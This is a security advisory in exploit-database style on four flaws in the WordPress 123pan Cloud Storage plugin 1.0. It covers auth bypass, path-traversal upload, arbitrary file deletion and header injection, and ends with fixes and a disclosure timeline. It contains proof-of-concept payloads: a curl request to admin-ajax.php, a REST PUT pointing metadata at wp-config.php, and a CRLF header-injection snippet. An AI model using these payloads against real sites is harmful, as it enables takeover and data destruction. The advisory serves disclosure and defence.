@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ .:. Exploit Title > WordPress 123pan Cloud Storage Plugin - Multiple Vulnerabilities .:. Date: April 19, 2025 .:. Exploit Author: bRpsd .:. Contact: cy[at]live.no .:. Vendor -> https://www.123pan.com/ .:. Product -> https://wordpress.org/plugins/123pan/ .:. Tested Version -> 1.0 .:. DBMS -> MySQL .:. Tested on > macOS [*nix Darwin Kernel], on local xampp @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ [+] Vulnerability #1: Improper Authentication in Token Handling (CWE-287) --------------------------------------------------------------- - Risk: High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N | 9.1) - Location: yunpan_get_yp_token() function - Attack Vector: Remote Unauthenticated - Impact: Account Takeover, API Credential Theft Vulnerable Code: ================================================================================================================ function yunpan_get_yp_token($client_id='', $client_secret='', $save=0) { $stored_token = get_option('yunpan_access_token'); $stored_expiry = get_option('yunpan_token_expiry'); $current_time = current_time('timestamp'); if ($stored_token && $stored_expiry && $stored_expiry > $current_time && !$save) { return $stored_token; } $options = get_option('yunpan_settings_storage'); $client_id = $client_id ? $client_id : $options['access_key']; $client_secret = $client_secret ? $client_secret : $options['secret_key']; $api_url = 'https://open-api.123pan.com/api/v1/access_token'; $body = wp_json_encode(array( 'clientID' => $client_id, 'clientSecret' => $client_secret, )); $args = array( 'headers' => array( 'Authorization' => 'Bearer ' . base64_encode($client_id . ':' . $client_secret), 'Content-Type' => 'application/json', 'Platform' => 'open_platform' ), 'body' => $body ); $response = wp_remote_post($api_url, $args); // ... } ================================================================================================================ Issue: The function is accessible via admin-ajax.php without authentication checks (confirmed via hook registration). Attackers can: 1-Bruteforce credential storage via repeated API calls 2-Manipulate client_id/client_secret through unsecured AJAX endpoints 3-Retrieve/stage Bearer tokens through base64-encoded credentials Exploitation [poc]: curl -X POST "https://victim-site.com/wp-admin/admin-ajax.php" \ -d "action=yunpan_get_token&client_id=attacker_id&client_secret=attacker_secret" [+] Vulnerability #2: Unrestricted File Upload (CWE-434) Risk: Critical (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H | 9.3) Location: yunpan_upload_file_to_123pan() Impact: Remote Code Execution, Data Exfiltration Vulnerable code: ================================================================================================================ function yunpan_upload_file_to_123pan($file_path, $file_type, $url) { $file_contents = yunpan_read_file_content($file_path); if (is_wp_error($file_contents)) { return $file_contents; } $file_size = yunpan_get_file_size($file_path); $args = array( 'method' => 'PUT', 'headers' => array( 'Content-Type' => $file_type, 'Content-Length' => $file_size, ), 'body' => $file_contents, ); return wp_remote_request($url, $args); } ================================================================================================================ Issue:The $file_path parameter is derived from unsanitized user input via media upload forms. Attackers with contributor+ privileges can Upload PHP shells using path traversal (../../malicious.php),Overwrite core WordPress files via absolute path injection,Stage malicious files in executable directories. Exploitation [poc]: 1-Identify the input field or API endpoint where the file path is provided. 2-Input a path to a malicious file. 3-Check if the file is uploaded and executed on the server. Second POC: 1- Create post with media attachment path "../../../wp-config.php" 2- Observe sensitive configuration file exfiltration [+] Vulnerability #3: Insecure File Deletion (CWE-22) Risk: High (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H | 8.6) Location: yunpan_delete_remote_attachment() Impact: Denial of Service, Site Takeover Vulnerable code: ================================================================================================================ function yunpan_delete_remote_attachment($post_id) { $meta = wp_get_attachment_metadata($post_id); $token = yunpan_get_yp_token(); if (!empty($meta['file'])) { $deleteObjects = []; $file_path = $meta['file']; $deleteObjects[] = $file_path; yunpan_open_request('api/v1/file/base-path/trash', ['filePathList' => $deleteObjects], $token); } } ================================================================================================================ Issue: The function deletes files based on metadata that could be manipulated by an attacker. The file paths are not properly validated, this could lead to arbitrary file deletion. An attacker could manipulate metadata to delete critical files, leading to Denial of Service (DoS).Attachment metadata is stored in wp_postmeta which is writable via REST API. Attackers can: Update postmeta via API to reference critical files,Trigger deletion of wp-config.php or .htaccess,Achieve persistent site compromise. Exploitation [poc]: PUT /wp-json/wp/v2/media/123 HTTP/1.1 { "meta": { "file": "../../../wp-config.php" } } [+] Vulnerability #4: HTTP Header Injection (CWE-113) Risk: Medium (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N | 5.4) Location: yunpan_open_request() Impact: SSRF, Cache Poisoning, Open Redirect Vulnerable code: ================================================================================================================ function yunpan_open_request($api_path, $data, $token, $method="POST", $add_header=false) { $api_url = 'https://open-api.123pan.com/'.$api_path; $args = array( 'headers' => array( 'Authorization' => 'Bearer ' . $token, 'Content-Type' => 'application/json', 'Platform' => 'open_platform', ), ); if ($method == 'GET') { $api_url = add_query_arg($data, $api_url); $response = wp_remote_get($api_url, $args); } else { if ($data) { $args['body'] = wp_json_encode($data); } $response = wp_remote_post($api_url, $args); } // ... } ================================================================================================================ Issue: The function constructs HTTP headers using user-controlled tokens. These tokens are not properly validated, it could lead to HTTP header injection. An attacker could inject malicious headers to manipulate server responses or conduct phishing attacks. Through chained exploitation (Vuln #1), attackers can control $token to inject: -CRLF sequences for header splitting -Proxy tunneling directives -Redirect headers POC: token = "attacker_token\r\nX-Forwarded-For: 127.0.0.1" requests.post(api_url, headers={'Authorization': f'Bearer {token}'}) Fixes: * Ensure that the client_id and client_secret are validated and sanitized. Implement authentication checks to ensure only authorized users can access this function. * Validate and sanitize file paths before processing. Implement checks to ensure only allowed file types and paths are used. * Validate and sanitize all user-controlled inputs used in HTTP headers. Implement checks to prevent header injection attacks. * Apply WordPress nonce system to all AJAX handlers * Implement strict capability checks (manage_options) * Add audit logging for all API transactions * Use prepared statements for all SQL operations * Conduct third-party security code review 2025-04-01: Initial discovery 2025-04-05: Vendor notification 2025-04-12: Follow-up (no response) 2025-04-19: Coordinated disclosure